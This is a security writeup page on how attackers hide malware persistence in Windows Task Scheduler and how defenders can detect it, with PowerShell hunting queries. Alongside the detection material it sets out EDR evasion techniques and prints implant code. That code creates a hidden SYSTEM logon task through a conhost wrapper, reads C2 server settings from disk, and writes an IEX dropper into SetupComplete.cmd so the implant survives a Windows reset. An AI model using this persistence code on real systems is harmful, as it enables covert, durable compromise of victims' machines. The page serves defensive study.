← Back to writeups Evasion

Scheduled Task Stealth

How attackers hide in plain sight using Windows Task Scheduler

// What is this?
Attackers set a recurring alarm clock that re-launches malware — surviving every reboot.

Task Scheduler is a legitimate Windows feature for running programs on a timer. Attackers abuse it to store malware that wakes up every few minutes. They disguise the task name, point it at a binary in AppData or Temp, and wrap execution inside conhost.exe (a normal system process) so it blends into process lists. The implant survives reboots, user logoffs, and most manual removal attempts.

PowerShell — Scheduled Task Detection
# All scheduled tasks with command lines
schtasks /query /fo CSV /v 2>$null | ConvertFrom-Csv |
  Select-Object "TaskName", "Task To Run", "Run As User" | Format-Table -AutoSize -Wrap

# SYSTEM tasks running from user-writable paths
schtasks /query /fo CSV /v 2>$null | ConvertFrom-Csv | Where-Object {
  $_."Run As User" -match "SYSTEM" -and $_."Task To Run" -match "Users|AppData|Temp|ProgramData"
} | Select-Object "TaskName", "Task To Run"

# Recently created tasks (last 7 days)
Get-ScheduledTask | Where-Object { $_.Date -gt (Get-Date).AddDays(-7) } |
  Select-Object TaskName, TaskPath, Date
If this flags: SYSTEM tasks should only run from System32 or Program Files. User-writable paths allow privilege escalation. Check task creation date and author.

Why Scheduled Tasks?

Scheduled tasks are ideal for persistence:

But basic task creation is easily detected. Sophisticated attackers use evasion techniques.

Evasion Techniques

Process Tree Manipulation

Problem: EDR alerts on schtasks.exe → powershell.exe chains.

Solution: Use conhost.exe --headless as wrapper:

conhost.exe --headless powershell.exe -File script.ps1

Now the chain is schtasks → conhost → powershell, breaking simple parent-process rules.

Legitimate Task Names

Problem: Task named "backdoor" or random GUID stands out.

Solution: Mimic Microsoft naming conventions:

These blend into Task Scheduler alongside real update tasks.

Randomized Intervals

Problem: Detection rules flag "every 5 minutes" or "every hour" intervals.

Solution: Use non-round numbers:

Pattern matching for round intervals fails.

User-Writable Legitimate Paths

Problem: Scripts in C:\Users\Public or %TEMP% look suspicious.

Solution: Use Microsoft-blessed user-writable locations:

Scripts here don't stand out as much in directory listings.

Hidden Tasks

Tasks can be created with the Hidden attribute, making them invisible in Task Scheduler GUI. Users running schtasks /query still see them, but casual inspection misses them.

Real-World: ShellChain Phoenix Persistence

Source: threat-research/shellchain-phoenix/payload/stage_phoenix.ps1. This is the actual persistence implementation used for SYSTEM-level shells. Three storage paths are seeded simultaneously so the implant survives most cleanup attempts.

# Persistence paths — seeded on first connection
$mainFolder     = "$env:APPDATA\SystemConfig"        # Roaming — follows user
$recoveryFolder = "$env:LOCALAPPDATA\SystemRecover"  # Local profile
$adminFolder    = "$env:ProgramFiles\SystemServices" # If admin

# Task Scheduler — ONLOGON as SYSTEM, conhost wrapper for EDR evasion
schtasks /create /tn "[TASK_NAME]" /tr "conhost.exe --headless powershell.exe -WindowStyle Hidden -File $mainFolder\[SCRIPT].ps1" /sc ONLOGON /ru SYSTEM /f

# C2 redirection: ip.txt / port.txt on disk
# Payload reads these first — allows server change without redeploying
$ipFile   = "$mainFolder\server.txt"
$portFile = "$mainFolder\port.txt"
if (Test-Path $ipFile)   { $ip   = (Get-Content $ipFile   -Raw).Trim() }
if (Test-Path $portFile) { $port = (Get-Content $portFile -Raw).Trim() }

SetupComplete.cmd — Survives Windows Reset

C:\Windows\Setup\Scripts\SetupComplete.cmd runs once after Windows Setup completes — including in-place upgrades and factory resets. Writing to this file means the implant re-installs itself even if the user performs a Windows reset.

# Write persistence dropper to SetupComplete.cmd (requires SYSTEM)
$setupScript = "C:\Windows\Setup\Scripts\SetupComplete.cmd"
Add-Content $setupScript "`r`npowershell.exe -WindowStyle Hidden -Command `"IEX (gc '$mainFolder\[SCRIPT].ps1')`""

Task Registration Without schtasks.exe

Sophisticated attackers avoid schtasks.exe entirely:

No command line to log, no schtasks.exe process to detect.

Detection Strategies

Non-round intervals: Flag tasks with intervals like 311, 599, 3547 seconds. Real software uses round numbers.

conhost spawning shells: conhost.exe launching powershell.exe or cmd.exe is unusual outside of terminal contexts.

Task location audit: Tasks in \Microsoft\ folder that aren't signed or don't match known-good baselines.

WindowsApps scripts: Any .ps1, .bat, .vbs in %LOCALAPPDATA%\Microsoft\WindowsApps\ warrants investigation.

COM-based creation: PowerShell loading Schedule.Service COM object (Event ID 4104 script block logging).

Hunting Queries

When investigating scheduled task persistence:

Demo — C2 Engagement via Persistent Shell

ShellChain Phoenix connecting back to C2 server after schtask persistence fires on logon. SYSTEM shell, single port, no migration.

MITRE ATT&CK: T1053.005 (Scheduled Task/Job: Scheduled Task) · T1547.001 (Registry Run Keys / Startup Folder) · T1059.001 (PowerShell) · Source: threat-research/shellchain-phoenix